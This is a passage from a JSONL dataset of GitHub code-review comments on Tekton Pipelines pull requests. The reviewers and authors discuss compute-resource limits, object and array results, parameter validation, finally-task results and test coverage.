think this comment was addressed; just to be clear I'm suggesting implementing what's proposed in the TEP PR.", "comment_id": 941472805, "created_at": "2022-08-09T15:16:13Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "thought this will be handled in limitrange (wrongly). but a case will be if there is no limitrange.\r\nlet me update ", "comment_id": 941531991, "created_at": "2022-08-09T16:04:36Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "missed these 2 files. sry for this. \r\nthanks the double check - let me update!", "comment_id": 941532577, "created_at": "2022-08-09T16:05:15Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "added the required logic and updated testcases.", "comment_id": 941592100, "created_at": "2022-08-09T17:07:22Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "cleaned testcases struct. ", "comment_id": 941592459, "created_at": "2022-08-09T17:07:44Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Since the limits are \"500m\", we also want to set the total requests to \"500m\", meaning that each container should have requests of \"250m\".", "comment_id": 941609649, "created_at": "2022-08-09T17:27:28Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "I see. this (limits) will be applied as the total task-level allowed requests.\r\nlet me correct. ", "comment_id": 941614110, "created_at": "2022-08-09T17:32:40Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "corrected by \"spreading\" the limits when no requests.", "comment_id": 941630641, "created_at": "2022-08-09T17:42:40Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel_test.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "nit: no need to compute this on every iteration", "comment_id": 941707331, "created_at": "2022-08-09T19:03:42Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "replaced with a var - thanks this!", "comment_id": 941745483, "created_at": "2022-08-09T19:54:30Z", "line": null, "path": "pkg/internal/computeresources/tasklevel/tasklevel.go", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "What we specifically want to clarify here is that if no requests are set, the *task-level* requests will be set to the *task-level* limits", "comment_id": 944628501, "created_at": "2022-08-12T16:27:25Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "Also, please update line 48 to clarify that this feature is implemented!", "comment_id": 944633944, "created_at": "2022-08-12T16:34:31Z", "line": 66, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "right. misunderstood your original point. - quick update", "comment_id": 944641062, "created_at": "2022-08-12T16:44:54Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "yap.", "comment_id": 944641263, "created_at": "2022-08-12T16:45:11Z", "line": 66, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "lbernick", "body": "sorry I should have been more clear-- this line can just be removed. (Users can safely assume everything in our docs is implemented unless specified otherwise.", "comment_id": 944680432, "created_at": "2022-08-12T17:43:42Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "austinzhao-go", "body": "sure. this makes more sense. ", "comment_id": 944697844, "created_at": "2022-08-12T18:09:41Z", "line": null, "path": "docs/compute-resources.md", "pr_number": 5082, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is the same in https://github.com/tektoncd/pipeline/pull/4908, once it is merged we can rebase it", "comment_id": 914288855, "created_at": "2022-07-05T23:48:25Z", "line": null, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think we don't want matrix to support nested values right now. This would essentially mean matrix can be [[array, object], [etc.]], is it?", "comment_id": 915978440, "created_at": "2022-07-07T15:00:00Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh thanks! I will remove it from Matrix, and I also don't add tests for Matrix, better leave it,", "comment_id": 915986166, "created_at": "2022-07-07T15:06:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "done!", "comment_id": 916184542, "created_at": "2022-07-07T18:47:50Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "dibyom", "body": "are the curly braces necessary since type: string is already indented ", "comment_id": 916248105, "created_at": "2022-07-07T20:17:21Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-results.yaml", "pr_number": 5083, "repo": "pipeline"} +{"author": "dibyom", "body": "why are we removing this?", "comment_id": 916248497, "created_at": "2022-07-07T20:17:56Z", "line": 130, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I discussed with @ywluogg in the thread above (unresolved it now), she suggests we don't support array and object for Matrix now. The array is added in previous PR by mistake. It is out of scope of TEP 75", "comment_id": 916264183, "created_at": "2022-07-07T20:40:43Z", "line": 130, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes they are not. I will remove these", "comment_id": 916266476, "created_at": "2022-07-07T20:44:05Z", "line": null, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-results.yaml", "pr_number": 5083, "repo": "pipeline"} +{"author": "dibyom", "body": "got it, thanks!", "comment_id": 916275881, "created_at": "2022-07-07T20:58:05Z", "line": 130, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5083, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe make these numbers as const?", "comment_id": 915945546, "created_at": "2022-07-07T14:31:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 915961858, "created_at": "2022-07-07T14:45:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "ywluogg", "body": "Maybe example like:\r\n``` yaml\r\n- name: array-results\r\n type: array\r\n description: whole array\r\n value: [\"$(tasks.task2.results.object-results.foo)\"]\r\n```\r\nand\r\n``` yaml\r\n- name: object-results\r\n type: object\r\n description: whole object\r\n value:\r\n key1: $(tasks.task2.results.object-results.foo)\r\n key2: $(tasks.task2.results.object-results.bar)\r\n```\r\nwould also be valuable?", "comment_id": 915973687, "created_at": "2022-07-07T14:55:50Z", "line": 44, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-emitting-results.yaml", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure", "comment_id": 915984990, "created_at": "2022-07-07T15:05:51Z", "line": 44, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-emitting-results.yaml", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Just realized that these are not supported before, now they are supported! Thanks for catching these cases! @ywluogg ", "comment_id": 916101703, "created_at": "2022-07-07T17:06:31Z", "line": 44, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-emitting-results.yaml", "pr_number": 5088, "repo": "pipeline"} +{"author": "dibyom", "body": "Could you please add a comment describing what these are", "comment_id": 916905123, "created_at": "2022-07-08T15:04:13Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "dibyom", "body": "What validation do we need to do here?", "comment_id": 916905927, "created_at": "2022-07-08T15:05:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 916923542, "created_at": "2022-07-08T15:25:41Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will add more details in the comment, we need to validate the pipelineresults reference is \r\n\r\n1. array indexing reference: not out of bound \r\n2. object element reference: the key is in the dict", "comment_id": 916926805, "created_at": "2022-07-08T15:28:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "dibyom", "body": "ok, how hard would it be to add the validation in this PR? I wouldn't want this to be released without the validation", "comment_id": 917071516, "created_at": "2022-07-08T19:00:53Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think adding a TODO for validation is to to avoid having those XL PRs, but I agree that we shouldn't hurry when the validations are not there. I will move the issue to next release if the validations can't be merged in time", "comment_id": 917414925, "created_at": "2022-07-10T16:00:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "ywluogg", "body": "I think the validation to check keys against result definition is that compare the resultValue.ObjectVal with PipelineSpec, which is passed in from function", "comment_id": 917415403, "created_at": "2022-07-10T16:04:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "ywluogg", "body": "I believe most of TEP 0075, 0076 are finished. The only two features with no validations are: pipeline results for object types and array indexing for both pipelines and tasks. I can remove this two features from v0.38 release.", "comment_id": 917415832, "created_at": "2022-07-10T16:08:47Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is a different behaviour, it may be easier to do like this, during the apply we can check if the results reference is valid.", "comment_id": 919136774, "created_at": "2022-07-12T15:51:45Z", "line": 352, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like there are some test cases for arrays being added. Could you please update the PR to just focus on object pipeline results, and make any changes to arrays separately?", "comment_id": 919324868, "created_at": "2022-07-12T19:22:23Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "lbernick", "body": "as part of #5001 it would be good to move this out of v1beta1. `StripStarVarSubExpression` doesn't seem like a function we'd want to export from that package.", "comment_id": 919331504, "created_at": "2022-07-12T19:29:29Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "lbernick", "body": "This seems like something that would be good to split out into a separate PR", "comment_id": 919335337, "created_at": "2022-07-12T19:32:17Z", "line": 352, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is the part of the validation, I remember we also need validation for this PR? \r\nOr should I split the validation into another PR?", "comment_id": 919363664, "created_at": "2022-07-12T19:52:57Z", "line": 352, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "lbernick", "body": "oh I see, that's fine-- also I think it's generally OK to add validation in an earlier PR (as opposed to a later one)", "comment_id": 919365465, "created_at": "2022-07-12T19:54:13Z", "line": 352, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh I see, this is because I added the validation, and it covers the validation of both array and object. ", "comment_id": 919365813, "created_at": "2022-07-12T19:54:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah sure, I will check and fix this", "comment_id": 919366770, "created_at": "2022-07-12T19:55:10Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "move this function to substitution ", "comment_id": 919411110, "created_at": "2022-07-12T20:44:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "removed the array validation part", "comment_id": 919411290, "created_at": "2022-07-12T20:44:31Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5088, "repo": "pipeline"} +{"author": "ywluogg", "body": "I feel you can move the comments to the regex itself?", "comment_id": 917416898, "created_at": "2022-07-10T16:17:23Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "ywluogg", "body": "I'm a bit confused why this is not called in validateStepVariables after this regex match has been removed from validateVariables?", "comment_id": 917418139, "created_at": "2022-07-10T16:30:47Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "chuangw6", "body": "Name format validation should happen before validating its usage. The logic was in that order too before the change.", "comment_id": 918005999, "created_at": "2022-07-11T14:30:56Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "chuangw6", "body": "done", "comment_id": 918006132, "created_at": "2022-07-11T14:31:04Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "ywluogg", "body": "Do you mean the naming of the step variables happen before validating its usage? Can you point me to where it is?", "comment_id": 918022443, "created_at": "2022-07-11T14:45:38Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "chuangw6", "body": "name of parameter names, which is this function you are commenting on.", "comment_id": 918025914, "created_at": "2022-07-11T14:48:31Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "chuangw6", "body": "Talked to @ywluogg offline. We decided to make the function arguments more explicit i.e. the first argument is only for string&array type since the format requirements for those two types are the same; and the second argument is for object type since it requires not containing dots specifically.", "comment_id": 918112896, "created_at": "2022-07-11T16:06:52Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/task_validation.go", "pr_number": 5090, "repo": "pipeline"} +{"author": "lbernick", "body": "out of scope for this PR, but these two for loops have a lot of duplicate code that could be consolidated.", "comment_id": 921186776, "created_at": "2022-07-14T13:57:09Z", "line": 62, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm curious how these params are getting applied without the alpha feature flag in the context", "comment_id": 921188659, "created_at": "2022-07-14T13:58:47Z", "line": 874, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "lbernick", "body": "this block of code looks extremely similar to what was introduced in the pipelinerun reconciler. Can any of it be moved to a common location?", "comment_id": 921190459, "created_at": "2022-07-14T14:00:27Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes! I was thinking if we want to merge the results code from taskrun and pipelinerun into one pkg then they can share functions like this. \r\n\r\nRight now I'm not so sure where can I put it. Maybe pkg/reconciler/resources.go ? ", "comment_id": 921232772, "created_at": "2022-07-14T14:37:53Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "For param indexing they will remain the reference string. e.g. \"$(params.array-params[1])\".\r\nShould I write test for this behaviour? ", "comment_id": 921234483, "created_at": "2022-07-14T14:39:23Z", "line": 874, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh but this function is different, the one in pipelinerun will traverse all pipelinespec fields and this is to traverse TaskSpec, another function `extractParamIndex` is the same and can be merged ", "comment_id": 921237623, "created_at": "2022-07-14T14:42:07Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, we can also refactor the code in pipelinerun as well", "comment_id": 921239639, "created_at": "2022-07-14T14:43:57Z", "line": 62, "path": "pkg/reconciler/taskrun/resources/apply.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm not sure if you're referring to `extractParamIndex` here or `extractParamIndexes` in the PR reconciler but either way yes they could be pulled out. I'd create a new package `pkg/params` and put it there in a separate PR", "comment_id": 921250679, "created_at": "2022-07-14T14:53:46Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, so maybe this is part of our refactoring work later?", "comment_id": 921280971, "created_at": "2022-07-14T15:21:42Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "dibyom", "body": "I think what @lbernick is referring to is that by passing `context.Background()`, the Alpha API fields will not be set (`config.FromContextOrDefaults(ctx)` will return the default stable value). So we'd have to pass a context that has alpha feature flag set: https://github.com/tektoncd/pipeline/tree/main/docs/developers#unit-testing-with-feature-gates", "comment_id": 921337120, "created_at": "2022-07-14T16:17:39Z", "line": 874, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "It is expected that we don't use alpha feature flag for this test, this is the previous test so no alpha flag is needed. The reason there is a code change is that I passed context for `ApplyParameters` for param array indexing ", "comment_id": 921341302, "created_at": "2022-07-14T16:22:04Z", "line": 874, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "lbernick", "body": "I'm ok with this for now, but typically I'd caution against saving refactoring work for after a feature is implemented. I don't think the changes I'm suggesting will take much time.", "comment_id": 921433255, "created_at": "2022-07-14T17:59:38Z", "line": 359, "path": "pkg/reconciler/taskrun/validate_resources.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "lbernick", "body": "ah I see this makes sense now", "comment_id": 921434145, "created_at": "2022-07-14T18:00:45Z", "line": 874, "path": "pkg/reconciler/taskrun/resources/apply_test.go", "pr_number": 5132, "repo": "pipeline"} +{"author": "chuangw6", "body": "If the result type is specified, I assume this `SetDefaults` function will set whatever type users defined right?\r\n\r\nIf so, what if the type specified is `string` or `array`, but `properties` section is also provided. What type would this result be?", "comment_id": 921594703, "created_at": "2022-07-14T21:44:29Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_defaults.go", "pr_number": 5142, "repo": "pipeline"} +{"author": "chuangw6", "body": "\ud83d\udc4d ", "comment_id": 921595452, "created_at": "2022-07-14T21:45:48Z", "line": 84, "path": "pkg/apis/pipeline/v1beta1/result_defaults_test.go", "pr_number": 5142, "repo": "pipeline"} +{"author": "chuangw6", "body": "Can you also add some test cases where result type is provided? i.e. if the user specified `string` type, the expected is string type; if `array` type is specified, expected is `array` etc.", "comment_id": 921597167, "created_at": "2022-07-14T21:48:50Z", "line": 41, "path": "pkg/apis/pipeline/v1beta1/result_defaults_test.go", "pr_number": 5142, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ah yes, good point", "comment_id": 921603959, "created_at": "2022-07-14T22:01:42Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/result_defaults.go", "pr_number": 5142, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure!", "comment_id": 921604026, "created_at": "2022-07-14T22:01:52Z", "line": 41, "path": "pkg/apis/pipeline/v1beta1/result_defaults_test.go", "pr_number": 5142, "repo": "pipeline"} +{"author": "ywluogg", "body": "Do you mind adding another reference to a object param key to replace `ar.com` in script?", "comment_id": 923486672, "created_at": "2022-07-18T15:07:21Z", "line": 36, "path": "examples/v1beta1/taskruns/alpha/object-param-result.yaml", "pr_number": 5144, "repo": "pipeline"} +{"author": "ywluogg", "body": "Looking at `examples/v1beta1/pipelineruns/alpha/pipeline-emitting-results.yaml` together, I realize another example is missing is that: a task is using a previous task's results in the params as a whole. Example with object keys: https://github.com/tektoncd/pipeline/blob/main/examples/v1beta1/pipelineruns/task_results_example.yaml and https://github.com/tektoncd/pipeline/blob/main/docs/pipelines.md#passing-one-tasks-results-into-the-parameters-or-when-expressions-of-another", "comment_id": 923502141, "created_at": "2022-07-18T15:21:55Z", "line": 6, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-param.yaml", "pr_number": 5144, "repo": "pipeline"} +{"author": "chuangw6", "body": "This file is the example for object param only. Object result (i.e. using a previous task's object result) example is in the file [/pipeline-object-results.yaml](https://github.com/tektoncd/pipeline/blob/main/examples/v1beta1/pipelineruns/alpha/pipeline-object-results.yaml).", "comment_id": 923682160, "created_at": "2022-07-18T18:14:49Z", "line": 6, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-param.yaml", "pr_number": 5144, "repo": "pipeline"} +{"author": "chuangw6", "body": "sg!", "comment_id": 923682230, "created_at": "2022-07-18T18:14:56Z", "line": 36, "path": "examples/v1beta1/taskruns/alpha/object-param-result.yaml", "pr_number": 5144, "repo": "pipeline"} +{"author": "ywluogg", "body": "SG!", "comment_id": 923701047, "created_at": "2022-07-18T18:38:49Z", "line": 6, "path": "examples/v1beta1/pipelineruns/alpha/pipeline-object-param.yaml", "pr_number": 5144, "repo": "pipeline"} +{"author": "lbernick", "body": "Do we also need a test case for object results?\r\n\r\nAlso, it would be good to have a pipelinerun reconciler test for this functionality. It looks like these test cases ensure that the syntax \"finally..results.\" can be used to apply results, but we also want to make sure that taskrun results can be collected from the pipeline's finally tasks and then applied to pipeline results.", "comment_id": 927032511, "created_at": "2022-07-21T19:27:02Z", "line": 2059, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "Yes, I will write a test case for object results in order to make my testing more extensive. As for your second comment, I will create the test accordingly, will ping you if need be as to how to create the test.", "comment_id": 927789833, "created_at": "2022-07-22T15:53:45Z", "line": 2059, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "Added test case for object result", "comment_id": 928357153, "created_at": "2022-07-25T02:00:57Z", "line": 2059, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "Could you include the finally task in this example with a result so it's clear that's what the result is referring to?", "comment_id": 929259307, "created_at": "2022-07-25T20:13:11Z", "line": 1277, "path": "docs/pipelines.md", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "I don't think we need multiple pipeline tasks here", "comment_id": 929260035, "created_at": "2022-07-25T20:14:13Z", "line": 28, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "This function returns an error, which should be handled.", "comment_id": 929260540, "created_at": "2022-07-25T20:14:57Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done, thank you for the feedback!", "comment_id": 932862590, "created_at": "2022-07-29T04:42:18Z", "line": 1277, "path": "docs/pipelines.md", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "done.", "comment_id": 932862634, "created_at": "2022-07-29T04:42:26Z", "line": 28, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "did not see that, thank you for the feedback.", "comment_id": 932862790, "created_at": "2022-07-29T04:42:55Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "added test case to reconciler.", "comment_id": 933421239, "created_at": "2022-07-29T16:09:31Z", "line": 2059, "path": "pkg/reconciler/pipelinerun/resources/apply_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "how is this test case different from the one following it?", "comment_id": 933467785, "created_at": "2022-07-29T17:09:18Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "could you please update the description of this test case to describe what is invalid?", "comment_id": 933468589, "created_at": "2022-07-29T17:10:27Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "is there a test case for a valid reference to a finally task result?", "comment_id": 933469265, "created_at": "2022-07-29T17:11:21Z", "line": 1336, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "could you change the names of these objects so they fit what you're testing?", "comment_id": 933470623, "created_at": "2022-07-29T17:13:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "it looks like the task's param expression here is not valid (there's no non-finally task `a-task`). This task shouldn't need a param anyway.", "comment_id": 933471997, "created_at": "2022-07-29T17:15:22Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "does this task need to emit a result?", "comment_id": 933472808, "created_at": "2022-07-29T17:16:35Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "It looks like you're creating a pipelinerun that already has results populated, and testing that it has results populated after being reconciled. I think instead we want to create a finally taskrun that has results populated, and then test that after the pipelinerun is reconciled, it has pipeline results populated. does that make sense?", "comment_id": 933474384, "created_at": "2022-07-29T17:19:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "lbernick", "body": "It might be good to have one finally task be a taskrun and one be a run, and each one has some results that get propagated to pipeline results (just to make sure we're testing both custom tasks and tasks)", "comment_id": 933475413, "created_at": "2022-07-29T17:20:33Z", "line": 4803, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "it is not different, unsure why I put it there. has been deleted. ", "comment_id": 934056201, "created_at": "2022-07-31T23:41:21Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "added variable to the end so that the `desc` still is concise", "comment_id": 934056291, "created_at": "2022-07-31T23:42:03Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "added a test case", "comment_id": 934056301, "created_at": "2022-07-31T23:42:11Z", "line": 1336, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "change to reflect testing finally", "comment_id": 934743466, "created_at": "2022-08-01T17:07:41Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "1. look if reconciler has validation for taskname not being present\r\n2. figure out what fields of the `task` spec if required vs optional, maybe specifying task and image", "comment_id": 934745902, "created_at": "2022-08-01T17:11:05Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "1. `a-task` needs to produce a result at the `taskrun` level", "comment_id": 934747427, "created_at": "2022-08-01T17:13:16Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "need to make sure tekton is implenting syntax, this that has been highlighted is input, not output", "comment_id": 934750361, "created_at": "2022-08-01T17:17:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "1. Have 2 tasks in `finally`, one for custom and one for tasks", "comment_id": 934751262, "created_at": "2022-08-01T17:18:42Z", "line": 4803, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "references a finally task that doesnt exist", "comment_id": 934752331, "created_at": "2022-08-01T17:20:12Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipeline_validation_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "vsinghai", "body": "delete `pipelineResults`", "comment_id": 934758833, "created_at": "2022-08-01T17:29:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 5170, "repo": "pipeline"} +{"author": "jerop", "body": "let's add a non-finally result here too \r\n```suggestion\r\n - name: task-result\r\n description: \"grabbing results from the tasks section\"\r\n value: $(tasks.multiply-inputs.results.product)\r\n - name: finally-result\r\n description: \"grabbing results from the finally section\"\r\n value: $(finally.exponent.results.product)\r\n```", "comment_id": 935838905, "created_at": "2022-08-02T17:13:30Z", "line": 19, "path": "examples/v1beta1/pipelineruns/pipelinerun-with-final-results.yaml", "pr_number": 5170, "repo": 